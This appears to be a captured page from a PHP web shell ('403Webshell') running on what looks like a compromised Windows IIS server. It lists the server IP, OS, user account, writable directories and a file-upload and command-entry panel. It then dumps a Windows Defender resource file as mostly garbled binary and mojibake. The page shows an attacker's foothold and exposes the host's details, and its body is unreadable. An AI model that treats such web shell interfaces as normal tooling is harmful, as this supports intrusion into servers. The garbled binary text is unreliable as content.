403Webshell
Server IP : 209.209.40.120  /  Your IP : 216.73.217.112
Web Server : Microsoft-IIS/10.0
System : Windows NT NEWWWW 10.0 build 17763 (Windows Server 2019) i586
User : NEWWWW$ ( 0)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Users/All Users/Microsoft/Windows Defender/Platform/4.18.26060.3008-0/th-TH/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Users/All Users/Microsoft/Windows Defender/Platform/4.18.26060.3008-0/th-TH/DefenderDiag.dll.mui
MZ����@���	�!�L�!This program cannot be run in DOS mode.

$�;=߉ZS��ZS��ZS�Ӭ��ZS��Q��ZS�Rich�ZS�PEd�.��}�" ,� ��` ���%8.rdata�@@.rsrc @@.��}
lPP.��}$����8.rdata8.rdata$voltmdP�.rdata$zzzdbg .rsrc$01(��.rsrc$02 ՠ(ȇ�x��'����/u��H�k���P^.��}��0�H�������%�������(�?@�EX�Fp�G��H��L��R��S��~���0��H��`��x�9��x�������������� ��8��P��h����������������3��4�r(�@�X�p�������� 0@P`p�������� 0@P`p��������'���(j�*��, � .���/R��0���1`�2T�T4��8���9��<���?v�(B���Qx�Ha��,f@�lk��dq�hw"��x��8J�����$��	�������
�t�J�������
���8�������N����|>����
r�4�������MUI�����}J�`_����Ne�ֶ��n���������MUIth-TH5H5H
D!H1
+2#D!H!5I-!9%B"%0@-5"5H#I-!C
I2I-!9%*1*8:#01%#02#I3A03
2#-I2-434
!#0@ 2#'4@#20+L
I-4%23@7-	C+II-!9%*%12#32PA*#2"2I-!9%@
4%62#'44	1"- Defender 2#'!2#4H-*7H-*2#@#7-H2"
2##1C
I2 2#@#5"!'2!#I-!C+I12C+!H*8 2UpToDate1
+2I2#0*44 21
+22#3+H2CFA
'2!
H'"@+%7-ASRN/A"1D!HDI3+H2
%1 
1H'B!8'1PA-24"L1#L-12#8$+1*5(8#L@*2#LD!HI-2#*-2#*7H-*2#@#7-H2"2#*-2##1C
I MDE2#*-2#@#5"!'2!#I-! MDE2#*-*2 25@-#L MDE2#*-%H2*8- MDE2#*-#0*44 22#*-2#M2+H2*2#*- CFA (2#@I26B%@-#L5H'8!)'2#*- ASR (2#%7I+I2-2#B!5)
4C
I2-"9H%G-
2##'*-D!H'H2C
HD!HC
HD!H!5#42# %1 -"9HD!H#I-!C
I2*205HD!H#9I1	#0'2#D%L/s8H�8!`c���� i_
B�3� ��9��FPA`��� �7��?�KB�?_Q  �I+?
���_M  � �V8!l�7;M�F,��e\�aeQ<��g���q<+a�2!�G�Ym�B�[U��� �M`EZ  UU�� ����/ B�A� �5 4[[��� ��/� ��JMc ���?+H!PA2#I2#I1%4%4L2#'4@#20+L@7H-9#2"%0@-5"-2#I+2PA
I-!9%@#7H-
I-!9%@#7H-VMNameVMSize
VMLocationID 2#*!1#*!2
4
ResourceGroupVmId	OSVersion3'A#0!'%%M2'1'#0!'%%A%-41%
@#H-A+H'"'2!M2#4M2A+H5H1I- PageFile2#C
I2181- PageFile 27I25H1*##- PageFile2#C
I2*9*8- PageFile@I2#H'!B@!A%I'@I2#H'! Azure AD A%I'@I2#H'!5HM22A%I'#+1*-8#L Azure AD*202#%0@5"*21"##!-#04142#@'%2@#4H!I#0#G-5 WinHTTP 1I#0*-8#LDI#12#%0@5"D"1 AAD A%0 MEM(-8#LD!HDI%0@5"A%0D!H@"%0@5"$-8#LDI#12#12#B"@-@L MDM%-8#LDI#12#12#B"@-@L SCCM+1
+22#3+H2 Microsoft Endpoint ManagerI-4%21H'D1
+22#@
7H-!H-3-8#LDI#12#%0@5"A%0D!HDI%0@5"C05I-8#LM2%1#-2#%0@5"2#M2+B"2"%I!@+%'PA#2"2B"2"%I!@+%'''2!%I!@+%'C2#@I2#H'!AD.#41H'D9I@
H2D!H#1(I-4%2AD.#4 - 8@
7H-!H-#42#I-4%2-C#1#-(2#M2+H25HD!H9I-- AAD ConnectI-4%2 DNS1
+22#4L2,42MDE A%0 ConfigMgrPAEDRI-!9%-1	#4"0@'-#L
1-1	#4"0*20#42#-1	#4"0
#+1*-L##+1*-8#L"GUID -*202#I-12#%-!A%*20#42# DiagTrack (UTC)+'2!*2!2#C2#I-12#%-!A%5H#1C
I@'-#L
12#M2+H2-1	#4"0#+1* MachineAuthStartType #42#-1	#4"0!M2A+H5H1I(9"LI-!9%-8#L0-8#L#I-!C+I#42#H22#@
7H-!H-5H%H-1'2
4@#4H!I-1'
H'"%
7H-@I2C
I1

5 MicrosoftDefender AVI-!9% Defender AV*20#42# Defender AV@'-#L
1A%-#L! Defender AV2@'-#L
1#0-1	#4"0I2'2!%- 1"- Defender AV@'-#L
1-B#A#! Defender AVB+! Defender AV#2#M2+H2 Defender AV SSLOptions2#M2+H2#G-5 Defender AV.*20#42#(9"L2##1)2'2!%- 1"- Windows(*20#42#*2 2'2!%- 1"- WindowsPA'*20#42##'*-@#7-H2"- Defender*20#42# Defender Core3Defender DI#12#I-12#AIDI-!9%B"#0*L55A+%H2#I-12#AIDI-!9%B"#0*L5- Defender8Defender !52#"@'I2#I-12#AIDI-!9%B"#0*L5B+! SmartLockerI-1*2"A'#L- Defender B+!2#I-1@#7-H2" DefenderPAzB##'*-2#M2+H2@#7-H2"-8A%0#'*-C+IAHC'H2 URL 5HM2@GD!HDI9%G- 
*M2+#1I-!9%@4H!@4!B#9: %1ServiceURLs{2#*-2#@
7H-!H-1 URL #42##0%2'L- Microsoft Defender for Endpoint (CnC) @*#G@#5"#I-"A%I' %1 5H!5%%1L %2�2#*-2#@
7H-!H-1 URL #42# Cloud - Microsoft Defender for Endpoint (CnC) %I!@+%' 
2#*-%I!@+%'*M2+#1 URL H-D5I: %1 B"!5%%1L %2�2#@
7H-!H-2#*-1I+!1 URL #42##0%2'L- Microsoft Defender for Endpoint (CnC) %I!@+%' 
2#*-%I!@+%'*M2+#1 URL H-D5I: %1 B"!5%%1L %2u*-2#@
7H-!H-1 URL #42#%2'L Microsoft Defender for Endpoint (D@-#L) @*#G@#5"#I-"A%I' %1 5H!5%%1L %2�2#*-2#@
7H-!H-1 URL #42##0%2'L- Microsoft Defender for Endpoint (Cyber) %I!@+%' 
2#*-%I!@+%'*M2+#1 URL H-D5I: %1 B"!5%%1L %2�2#@
7H-!H-*-1I+!1 URL #42#%2'L- Microsoft Defender for Endpoint (Cyber) %I!@+%' 
2#*-%I!@+%'*M2+#1 URL H-D5I: %1 B"!5%%1L %2w2#*-2#@
7H-!H-1 URL #42#%2'L Microsoft Defender for Endpoint (AutoIR) @*#G@#5"#I-"A%I' %1 5H!5%%1L %2�2#*-2#@
7H-!H-1 URL #42##0%2'L- Microsoft Defender for Endpoint (AutoIR) %I!@+%' 
2#*-%I!@+%'*M2+#1 URL H-D5I: %1 B"!5%%1L %2�2#@
7H-!H-2#*-1I+!1 URL #42##0%2'L- Microsoft Defender for Endpoint (AutoIR) %I!@+%' 
2#*-%I!@+%'*M2+#1 URL H-D5I: %1 B"!5%%1L %2|*-2#@
7H-!H-1 URL #42# Cloud - Microsoft Defender for Endpoint (SampleUpload) @*#G*!9#LA%I' %1 5H!5%%1L %2�2#*-2#@
7H-!H-1 URL #42##0%2'L- Microsoft Defender for Endpoint (SampleUpload) %I!@+%' 
2#*-%I!@+%'*M2+#1 URL H-D5I: %1 B"!5%%1L %2�2#@
7H-!H-2#*-1I+!1 URL #42# Cloud - Microsoft Defender for Endpoint (SampleUpload) %I!@+%' 
2#*-%I!@+%'*M2+#1 URL H-D5I: %1 B"!5%%1L %2�2#*-2#@
7H-!H-1 URL #42# Cloud - Microsoft Defender for Endpoint (MdeConfigMgr) @*#G@#5"#I-"A%I' %1 5H!5%%1L %2�2#*-2#@
7H-!H-1 URL #42#%2'L- Microsoft Defender for Endpoint (MdeConfigMgr) %I!@+%' 
2#*-%I!@+%'*M2+#1 URL H-D5I: %1 B"!5%%1L %2�2#@
7H-!H-*-1I+!1 URL #42##0%2'L- Microsoft Defender for Endpoint (MdeConfigMgr) %I!@+%' 
2#*-%I!@+%'*M2+#1 URL H-D5I: %1 B"!5%%1L %2z2#*-2#@
7H-!H-1 URL #42# Cloud - Microsoft Defender for Endpoint (OneDs) @*#G@#5"#I-"A%I' %1 5H!5%%1L %2�2#*-2#@
7H-!H-1 URL #42##0%2'L- Microsoft Defender for Endpoint (OneDs) %I!@+%' 
2#*-%I!@+%'*M2+#1 URL H-D5I: %1 B"!5%%1L %2�2#@
7H-!H-2#*-1I+!1 URL #42##0%2'L- Microsoft Defender for Endpoint (OneDs) %I!@+%' 
2#*-%I!@+%'*M2+#1 URL H-D5I: %1 B"!5%%1L %2]2##'*-'2!9I--C#1#-*M2+#1#42#%2'L- Defender for Endpoint @*#G*!9#LA%I'D!HDI*-2#@4-C#1#-N2#@
7H-!H-#0%2'L-2!5'2!#H-@7H-2'2!%I!@+%'C2#@4-C#1#-�B##'*-C+IAHC'H2 URL H-D5ID!HDI9%G-: %1 A%0 %2 *M2+#1I-!9%@4H!@4! B#95H %3 *M2+#1I-!9%I-4%2B"%0@-5" C+I#'2 %4d2#*-2#@
7H-!H-1#42##0%2'L-B#A#!I-1D'#1*- Microsoft Defender @*#G*!9#LA%I'W2#*-2#@
7H-!H-1#42#%2'L-B#A#!I-1D'#1*- Microsoft Defender %I!@+%'J+2B#A#!I-1D'#1*- Microsoft Defender @GB%9
12#I-1D'#1*+%1-8 +#7-8@%7-5H0@4C
I2B+!%G- EDR B##'*-C+IAHC'H22#@
7H-!H-1 URL #0%2'L AV D!HDI9%G- *M2+#1I-!9%@4H!@4! C+I9: https://learn.microsoft.com/defender-endpoint/configure-network-connections-microsoft-defender-antivirus>2#@
7H-!H-@#7-H2"181D!HDI4H2#42#2!#4!2I-!9%>2#@
7H-!H-@#7-H2"18194H2#42#2!#4!2I-!9% %1�@#7-H2"A4H2#42#2!#4!2I-!9%-2311L
12#32C2#*7H-*2#- Defender MAPS DI @
H 2#-%2"@G#5	8@	40D!H9*H (6H3@G*3+#11'H
5IA3+@--@+7-2%2"@G#5	8@	4)ApproachingDataLimit: %1OverDataLimit: %13%1B#!!4H: %1NetworkCostType: %1�2#*-2#@
7H-!H-1 URL #42#%2'L Microsoft Defender for Endpoint (2#M2+H2 ECS) @*#G@#5"#I-"A%I' %1 5H!5%%1L %2*-2#@
7H-!H-1#42#%2'L Microsoft Defender for Endpoint (2#M2+H2 ECS) *H7 HTTP 502 @@'"LD!H9I- 5H@G1
+25H#2@G#0"0F - Azure Application Gateway A%0-2AIDDII'"@- %-#'*--5#1I I21
+25I"1-"9H %1 5H!5%%1L %2�2#@
7H-!H-2#*-1I+!1 URL #42##0%2'L- Microsoft Defender for Endpoint (2#M2+H2 ECS) %I!@+%' 
2#*-%I!@+%'*M2+#1 URL H-D5I: %1 B"!5%%1L %2l+28I-2#@4C
I22#12#2#M2+H2'2!%- 1" MDE B#9@-*2##0-H-D5I*M2+#1#2"2#I-M2+A%-#L!5HDI#12#*1*8d-8#LD!H!5#01B#A#!AIDH3*8*M2+#12#@#5"!'2!#I-!2#12#2#M2+H2'2!%- 1" MDE: %1�-8#L!52#42#
7H- Active Directory 41I-"9H 05I2#*1*81''8!B@!"1@G#8H1'-"H2A%0I-2#2#M2+H2@4H!@4!l+28I-2#@4C
I22#12#2#M2+H2'2!%- 1" MDE *M2+#11''8!B@! B#9@-*2##0-H-D5I92#C
I2#12#2#1IH2I2'2!%- 1"11''8!B@!w-8#LM2%1C
I#04142# 32 4 6HD!HDI#12#*1*8*M2+#12#---#L2#12#2#M2+H2'2!%- 1"- MDEUB##2'H24%L OS --8#LD!HDI#12#*1*8B" MDE A%0D!H*2!2#---#LDI: %1DB#9'2!5I*M2+#1#2"2#@'-#L
1- Windows 5HDI#12#*1*86%1 -8#L5ID!HDIM225H#012#I-15H2D'I�*M2+#1I-!9%@4H!@4!@5H"'12#I-1 PPL A%0*2@+85H!5'2!*M21
 B#9@-*2#5I 4H-H2"*1*8- Microsoft +21
+2"1!5-"9HPPLxB##2'H2#8H@4#L@'-#L Hyper-V @H21I5H41I-8#L5ID!HDI#12#*1*8B" MDE A%0D!H*2!2#---#LDI: %1NB#9@-*2#5H#-#1 MDE @7H-9#2"
7H-#8H-@4#L@'-#L5HDI#12#*1*8@'-#L
1- Windows 5H*1*8#42# MDE -1	#4"0#42# MDE AV Windefend$#42# WscSvc '2!%- 1"- Windows#42# Windows SecurityHealth&#42# MDE Network Protection WdnisSvc#42#+%1- MDE Defender&*M2+#1I-!9%@4H!@4! B#95H'2!�B##2'H2@#7H-5IM2%1M221A%-#L! Defender @'-#L
15H%I2*!1" @'-#L
1A%-#L!5H@H2'H2 N-2 0D!HDI#12#*1*8-5H-D'Microsoft Defender AntiMalware PlatformB##2'H2@#7H-5I32I'"B#A#!B#A#!I-1D'#1*- Defender @'-#L
15H%I2*!1" +%12!5@'-#L
1A@C+!H 2#*1*8*-@'-#L
1H-+I20%%@+%7-@5"2#*1*8I2@4@H21I @'-#L
15H@H2'H21I0A*-"9HC*H'5I A%0!52#*1*82#-1@#I2@4@H21I0B#A#!B#A#!I-1D'#1*- Microsoft Defender�B##2'H2@#7H-5I32I'"H2'#-I2'2!%- 1"@'-#L
15H%I2*!1" -A03C+IC
IH2'#-I2'2!%- 1"@'-#L
1%H2*8@7H-#1#-2#I-1A%0'2!*2!2#*9*822#-1@B#A#!I-1D'#1*- Microsoft DefenderPAJ*1@2#C
I2 CPU *9--1	#4"0@7H-22##1*HI-!9% NDR --1	#4"07%-M2I-"@'I Sense EDR DC
I1#0'2#H-D5I: %1PA2#C
I2 CPU *9?A%-#L! MDE 2#C
I2+H'"'2!3*91@'-#L
1 MDE 1812#C
I+H'"'2!M2*9#'2!%I!@+%'C2#-1@A%-#L! MDE$'2!%I!@+%'C2#-1@%D12# MDE!'2!%I!@+%'C2#-1@%2"@G MDE?2#-1@%2"@G MDE %I!@+%' @7H-2!5-4*ALM22-"9HA%I'_#-C+I-4*AL-#0'2#1I+!- MpSigStub.exe 2#M22H-5H0%--1@%2"@G-5#1IMMDE Windefend Service D!H*2!2#@#5"!C
I2DI*M2@#GA%0I2-"9H5H1I- %1e#5*2#L@#7H-A%0-1@@GA%-#L! Defender %H2*8 A%0+21
+2"1!5-"9H C+I#2"2D"1 MicrosoftG#42# MDE Windefend D!H*2!2#4#0DI*M2@#GA%0I2-"9H5H1I- %1N-1@@GA%-#L! Defender %H2*8A%0+21
+2"1!5-"9H#2"2D"1 Microsoft@2#A" MDE -I2-41'A#* 2A'%I-! (%1) 6HD!HC
H1'A#-#0SB##'*-2#"@'I-8:
'%1'
@7H-C+IAHC'H2-I2-41'A#* 2A'%I-!5H9I-PA5D!H*2!2#@#5"C
I2#M2+%1)0 Windows Defender DI\I281IC0C
I22#12#2#3+H2-8#L MDE B#9'2!H-D5I@7H-I-!9%@4H!@4!A#'*-'H2#42# Windows Defender M2%1M22A%0*2!2#@I26DIDM2+H2B#A#!I-1D'#1*- Microsoft Defender B"C
IB"2"%8H!I-M2+2#@
7H-!H-SM2+H22#@I2#H'! Active Directory - Azure AD.#4*M2+#1B@!5H!52#12#-#L1%'2!%- 1" M365PA`AID1
+22#---#L5H@5H"'I-12#12#'2!%- 1"*M2+#1 Microsoft Defender for Endpoint5"LB"2" MDE @#4H!I5"L#42#@@-#L MDE @#4H!I @*I2D@#-#5A
 MDE @#4H!I#@*I2D@#-#5 MDE Cyber @#4H!I@*I2D@#-#5 MDE @#4H!I)@*I2D@#-#5 MDE ProgramData @#4H!I(@*I2D@#-#5
1H'#2'- MDE @#4H!I&@*I2D@#-#52#42! MDE @#4H!I�%5"L#54*#55H@5H"'I-1 AntiSpoofing @7H-11C
I-8#LC2#*#I25"L*H'1'C+!HA%0%0@5"-5#1I @#5"C
I3*1H %1yD!H!5*4HC5HI-M2 C#0+'H2#0"0@'%25H@#4H!I5H Cyberthrottling @#4H!@+82#L cyberdata D!HD+%@I2*9H-#L1% MDATPy-8#L5I"2"2!---#LH2@-@L Microsoft Monitoring Agent (MMA) AH%I!@+%'@7H-2D!H#-#12#---#LB"C
I'455IgB#99H!7---D%L-@#2@7H-M2'2!@I2C'H2'452#---#LC5H@+!20*!1#04142#--8#L5I$2#M2+H25H#-#12#---#L MDE*@#7H-@
7H-!B"1 ID 9I@
H2 AAD 5H#08�B##'*-C+IAHC'H2 ID 9I@
H2 AAD 29I@
H2 MDE -8#1#+1*9I@
H2 SCP 5HA*-"9HI2 @!7H-I-2#92##089I@
H2 MDE -8 B#95H-#L1%'2!%- 1" M365PA6-8#L*2!2#I-12#%-!A%DIA%0-"9HC*20@*5"#FSharedSignatureRoot DI#12#M2+H2A%0*2!2#@I261

5 SYSTEM DI.2#M2+H2 SharedSignatureRoot #2@G4LH2#54*#5 SharedSignatureRoot D!HDI#12#M2+H2+#7-D!H*2!2#@I26DI{I-!9%5I@G@5"2#C+II-!9% - #'*-'H22#M2+H2 SharedSignatureRoot @GD2!I-2#*M2+#1* 2A'%I-!-8+#7-D!H)2#M2+H2M2+2#2#-1@%2"@G: %15SignatureScheduleDay: %1, SignatureUpdateInterval: %2S#'*-2#1IH2M2+2#-1@%2"@G-82!'2!M2@G*M2+#1* 2A'%I-!-8LM2+H22#*A2!M2+2#*M2+#1B#A#!I-1D'#1*- Microsoft Defender.SignatureDefinitionUpdateFileSharesSources: %1V#'22#1IH2A+%H5H!2-2#A
#LD%L%2"@G2!'2!M2@G*M2+#1* 2A'%I-!-8SignatureFallbackOrder: %1T#'22#1IH2%M215HC
IA*A-%2"@G2!'2!M2@G*M2+#1* 2A'%I-!-8�B##2'H2@#7H-5I!5B"2"5H-8
2C+I@4H!9I@"A#H5H@
7H-7-DI2!B@!@H21I 6H-2#'@@-#L MDE 6HM2@GI-41IC#1#-D"15H@G9I@"A#H5H@
7H-7-DI�*M2+#1I-!9%@4H!@4! B#9'2! 
@7H-+%5@%5H"1
+25HD!H24 C+I@-22#M2+H2B"2"%8H!5H@5H"'I---: H2*20 Local Authenticode= %1, H2*20 GP Authenticode = %2TrustedPublishersSD!H*2!2#-H28@
7H-!H-#42# (SCP) 22#L4
12#M2+H2 Active Directory DIB8@
7H-!H-#42# (SCP) !52#M2+H25HD!HDI#12#*1*8: %128@
7H-!H-#42# (SCP) !52#3+H25HD!H#-#1oD!H*2!2#@
7H-!H--8#L1 Azure AD DI @7H-2#0@5" SCP 9M2+H2C+I@I2#H'!-8#L1 Enterprise DRSV8@
7H-!H-#42# (SCP) D!HDI#12#M2+H2C2#L4
12#M2+H2 Active DirectoryOD!H*2!2#@
7H-!H-11''8!B@!@7H-@#5"I-!9%8@
7H-!H-#42# (SCP) DIb!5'2!1A"I#0+'H2#+1*9I@
H2 AAD 29I@
H2 MDE -8A%0#+1*9I@
H2C#2"2# SCP -B@!-8�B##'*-C+IAHC'H2 ID 9I@
H2 AAD 29I@
H2 MDE -8#1#+1*9I@
H2 SCP 5HA*-"9HI2 @!7H-I-2#92##089I@
H2 MDE -8 C+I9@-*2##0-b-8#LDI#12#12#B"@-@L SCCM A%00D!HDI#12#12#B"B%9
12#12#'2!%- 1"- MDEnConfiguration Manager DI#12#"-!#1@G1'12#I2'2!%- 1"@5"+6H@5"' Defender for Endpoint 0D!H12#2#1IH2I2'2!%- 1"-8#L5HDI#12#12#B" Configuration Manager -"9HA%I' 
+28I-2#@%5H"A%%1)02#325I 80I-3+2#1IH212#'2!%- 1"B"*%1 Configuration Manager @G4 B#9I-!9%@4H!@4!C9H!7-2#C
IH-D5IC-8#L*2!2#I-12#%-!A%DI AHD!H*2!2#-"9HC*20@*5"#DITB#9M2A0M2C'2!H-D5I 
4H-H2"*1*8- Microsoft +21
+2"1!5-"9H0Microsoft Defender for Endpoint - CVE-2022-232787Microsoft Defender for Endpoint - 2#'4@#20+L 1"82!@*I2@#4H!I+2"D: %1�B##'*-C+IAHC'H2!5@*I25H+2"D5H%H2'6A%0"1D!HDI@%5H"
7H- 8-2M2@GI-*#I2B%@-#L5H+2"DI'"#4-#0PAL-8#L5ID!H*2!2#---#LH2 Microsoft Endpoint Configuration Manager DIm1
+25I-2@46IDI+2#54*#55"L %1 +2"D2: %2 
@!7H-I-2#*#I2#54*#55"L5H+2"D 8*2!2#C
I: %30-8#LM2%1#2"2D"1 ID -L#5H+!-2"8: %1	8'#---#L-8#L2-L#5I A%I'---#L-8#LD"1-L#181-8
4H-H2"*1*8- Microsoft +28D!H!5*44L@I26*#4L2#---#LI'" OrgID 1%H2'
+!2"@+8: @!7H-I-2#9 OrgID 181 B#D5H-#L1% MDE A%0%45H
7H-9IC
I5H!8!'2(9"L2##1)2'2!%- 1"sB##2'H2-8#L!5I-4%2  3%1B+%5"L*H'1'*3+#1C#1#-2##1#-'2!9I--D%@-GL  C16 OpsMgrpB#-2#41IA%041I MMA (Microsoft Monitoring Agent) C+!H-8#L5I A%0#'*-'H21
+2"1-"9H+#7-D!H*@'%2I-4H-8#LD!H#1@'%2C AzureOB##'*-'H2@'%2-#0I-4H9I-A%01IH2B@'%2C+I9I-A%I'
+2-8#L5I@
7H-!H-1B@! B##'*-C+IAHC'H2#42# 'Windows Time' 32-"9H A%0-8#LDI4B#DL1@'%2-B@!A%I' 
*3+#1I-!9%@4H!@4!@5H"'1'452#3+H2A%0'8!2#4B#DL@'%2 B#9'2!@7H-#'*-C+IAHC'H2@'%2I-4HC BIOS 9I-WindowsTimeO-8#LM2%1@#5"C
I System Center Endpoint Protection @'-#L
15H@H2'H2: %1�8'#-1@#@G@'-#L
1%H2*85H#I-!C
I2@7H-#1#-'2!*2!2#A%0-8
22#162##'+2!1%A'#LC-#L1%'2!%- 1"- Defender for Endpoint8@4I-4%2CB%'L2#12#2#3+H2I2'2!%- 1"�-8#L---#LD"1 Microsoft Defender for Endpoint @#5"#I-"A%I' -"H2D#G2! !5I-4%2CB%'L2#12#2#3+H2I2'2!%- 1" -2@G@#20-8#LD!HH2I-3+@7I-I*3+#1
H-22#12# Microsoft Defender for Endpoint9I-M2+@7I-I*M2+#1 Microsoft Defender for Endpoint8@4I-4%2CB%'L2#12#2#3+H2I2'2!%- 1"�-8#L---#LD"1 Microsoft Defender for Endpoint @#5"#I-"A%I' -"H2D#G2! Microsoft Endpoint Manager "1D!HDI#12#M2+H2H2(9"L2#12#@7H--8
22#M2+H2'2!%- 1"- Microsoft Defender for Endpoint.2#M2+H29I@
H2 Microsoft Endpoint Manager!51
+22#@
7H-!H-@46I�-8#L---#LD"1 Microsoft Defender for Endpoint @#5"#I-"A%I' -"H2D#G2! !5I-4%2CB%'L2#12#2#3+H2I2'2!%- 1" 6H-2@G@#201
+22#@
7H-!H- 
#'*-'H2-8#L*2!2#*7H-*2#1%2"2 MDE DI@8*4I*8 Azure Active Directory A%0 Microsoft Endpoint Manager''2!%I!@+%'C2#@I2#H'!AD.#41H'D�-8#L---#LD"1 Microsoft Defender for Endpoint @#5"#I-"A%I' -"H2D#G2! !5I-4%2CB%'L2#12#2#3+H2I2'2!%- 1"A%0 OS D!H*2!2#3@42#@I2#H'!AD.#4DI
9%4L*3+#12#AID1
+2'2!%I!@+%'2#@I2#H'!AD.#4#01 OS=AID1
+2-8#L5H@I2#H'! Azure Active Directory AD.#49I@
H2D!H#1z-8#L---#LD"1 Microsoft Defender for Endpoint @#5"#I-"A%I' -"H2D#G2! !5I-4%2CB%'L2#12#2#3+H2I2'2!%- 1" @7H-2 ID 9I@
H2- Microsoft Defender for Endpoint D!H#1 ID 9I@
H2- Azure Active Directory 
#'*-C+IAHC'H2 ID 9I@
H2- Azure Active Directory 29I@
H2 Defender for Endpoint -8#1 ID 9I@
H2C#2"2# SCP -B@!-8(I-4%2AD.#4 - 8@
7H-!H-#42#~-8#L---#LD"1 Microsoft Defender for Endpoint @#5"#I-"A%I' -"H2D#G2! @#-#L8@
7H-!H-#42# (SCP) D!HDI#12#M2+H2-"H29I- A%0-8#LD!H*2!2#@I2#H'!1 Azure AD DI 6H-2@42 SCP 5H9M2+H2C+I@I2#H'! Enterprise DRS 
#'*-C+IAHC'H2#0@5" SCP 
5ID"1 AAD A%0 SCP DI#12#M2+H22!A'24145H55H*8 *3+#1I-!9%@4H!@4! C+I9%4LM2+H28@
7H-!H-#42#I-4%2-C#1#--8#L---#LD"1 Microsoft Defender for Endpoint @#5"#I-"A%I' -"H2D#G2! !5I-4%2CB%'L2#12#2#3+H2I2'2!%- 1" @7H-2I-4%2C#1#---8#L 
C#1#--8#L@G-9I@
H2-7H #'*-'H2!52#32!A'2414@!7H-*#I2B#D%LB#D%LC#1#-5H@
7H-7-DIPA(2#M2+H25HD!H9I-- AAD Connect-8#L---#LD"1 Microsoft Defender for Endpoint @#5"#I-"A%I' -"H2D#G2! !5I-4%2CB%'L2#12#2#3+H2I2'2!%- 1" @7H-22#3+H24%2C AAD Connect 
+2I-2##08*4H5H3C+I-8#LD!H*2!2#%0@5"1 AAD DI C+I42#2@#5"C
I@#7H-!7-AID1
+2*@#7H-!7-1'AID1
+22#%0@5"-8#L<*M2+#1M2A0M22#AID1
+2@	20- Windows Server 2012 R2I-4%2 DNS�-8#L---#LD"1 Microsoft Defender for Endpoint @#5"#I-"A%I' -"H2D#G2! !5I-4%2CB%'L2#12#2#3+H2I2'2!%- 1" @7H-2I-4%2 DNS #'*-2#@
7H-!H--4@-#L@GA%0/+#7-2#1IH2 DNS -8#L 2#1IH2 DNS 5HD!H9I--2!221H@'4#L*@
1 
Active Directory 3@GI-C+I8C
I DNS -B@!@7H-C+I32DI-"H29I- (A%0D!HC
H5H-"9H-@#2@-#L) *3+#1I-!9%@4H!@4! C+I9%4L1
+22#4L2,42�-8#L---#LD"1 Microsoft Defender for Endpoint @#5"#I-"A%I' -"H2D#G2! !5I-4%2CB%'L2#12#2#3+H2I2'2!%- 1" #'*-'H21IH22,42-"H29I-A%04L1-8#L5H@4I-4%22#2'LB+%B"2"%I!@+%'�-8#L---#LD"1 Microsoft Defender for Endpoint @#5"#I-"A%I' -"H2D#G2! -8#LD!H*2!2#2'LB+%B"2"'2!%- 1"%2"22 MEM 
#'*-'H2-8#L*2!2#*7H-*2#1%2"2 MDE DI2#"@%42#%0@5"%I!@+%'�-8#LDI#12#%0@5"-"9HC05I AHM2@GI-"@%42#%0@5" -"H2D#G2! #0'2#"@%42#%0@5"D!H*M2@#G@7H-2I-4%2
1H'#2' 
#'*-'H2-8#L*2!2#*7H-*2#1%2"2 MDE DI2#M2+B"2"%I!@+%'�-8#L---#LD"1 Microsoft Defender for Endpoint @#5"#I-"A%I' A%0*2!2#2'LB+%B"2"'2!%- 1"-%2"22 MEM DI -"H2D#G2! !5I-4%2#0+'H22#3+B"2"#2"2B"2"%I!@+%'�-8#L---#LD"1 Microsoft Defender for Endpoint @#5"#I-"A%I' A%0*2!2#2'LB+%B"2"'2!%- 1"-%2"22 MEM DI -"H2D#G2! !5I-4%2#0+'H2#2"2-B"2"D"1 MEMWD!H*2!2#---#L-8#L5IDIC*20181@7H-2 ImageState  2"C '%1' D!H*!9#L�1
+25I-2@46IDII2-4!@!#04142#M2@42#"2"2! sysprep 4H-1+%2"#1I A%0#54*#591IH2@G '%1'
4H-H2"*1*8- Microsoft +21
+2"1!5-"9HI-!9%*20 Windows Setup:H2 ImagePath C#54*#5-29@%5H"A%H-5H0---#LeB##'*-I-4%25IA%0#'*- ImagePath ( 2"C %1) @7H-C+IAHC'H2
5ID"1@*I2 %2 5H9I-2#'@+82#L5H'8!#4!2D@-#L2I2-1	#4"0MDE A%0 ConfigMgr�-8#LDI#12#12#B"C
I Configuration Manager A%0 Microsoft Defender for Endpoint 2#'8!B"2"H21I*-
H-2-23C+I@4I-1A"IA%0%%1LD!H6#0*L 
@7H-+%5@%5H"1
+25I B"2"'2!%- 1"-%2"2'#A"D"1
1I2#'8!@5"'92#-"9H#H'!1I'"1'12#2#3+H2 Microsoft Endpoint!*202#%0@5"!52#@%5H"A%�-8#LDI#12#12#B"C
I Configuration Manager A%0 Microsoft Defender for Endpoint -8#L9"@%4%0@5"2B%9
12#12#2#3+H2I2'2!%- 1" @7H-2-@2#11C
I!52#@%5H"A%+#7-AG MDE-Management 93--2-8#L�D!HDIM2+1'A#* 2A'%I-!#0 %%TEMP%% (A%0 %%TMP%%) 6H-2M2C+I@4'2!%I!@+%'C Windows Defender A%0-!B@L#0-7HF 5H-2(1"D@#-#5
1H'#2'�M2+1'A#* 2A'%I-!#0 TEMP A%0 TMP H2@#4H!I7- %%SystemRoot%%\TEMP *M2+#11

5#0 #'*-'H2@*I2!5-"9HA%I'A%0!5*44L5H@+!20*!�D!H*2!2#@I26D@#-#5 %%TEMP%% DI 2#M2@42#5I*2!2#M2C+I@4'2!%I!@+%'C-!B@L- Windows Defender 5HM2@GI-@5"AI!
1H'#2'E#'*-'H2!5D@#-#5 %%TEMP%% -"9HA%01

5181!5*44L-H2/@5"�D@#-#5 %%TEMP%% 91IH2@G@*I25HD!HC
HH2@#4H!I 2 TEMP 5HD!HDI!2#2-2M2C+I@41
+21-!B@L5H7-'H2@GM2A+H5H1I@#4H!IPA�#'*-'H2@*I2 %%TEMP%% AM2+@-1IC+#7-D!H I2D!H24 C+I#5@G1'A#* 2A'%I-!#0 TEMP A%0 TMP @GH2@#4H!I (%%SystemRoot%%\TEMP *M2+#11

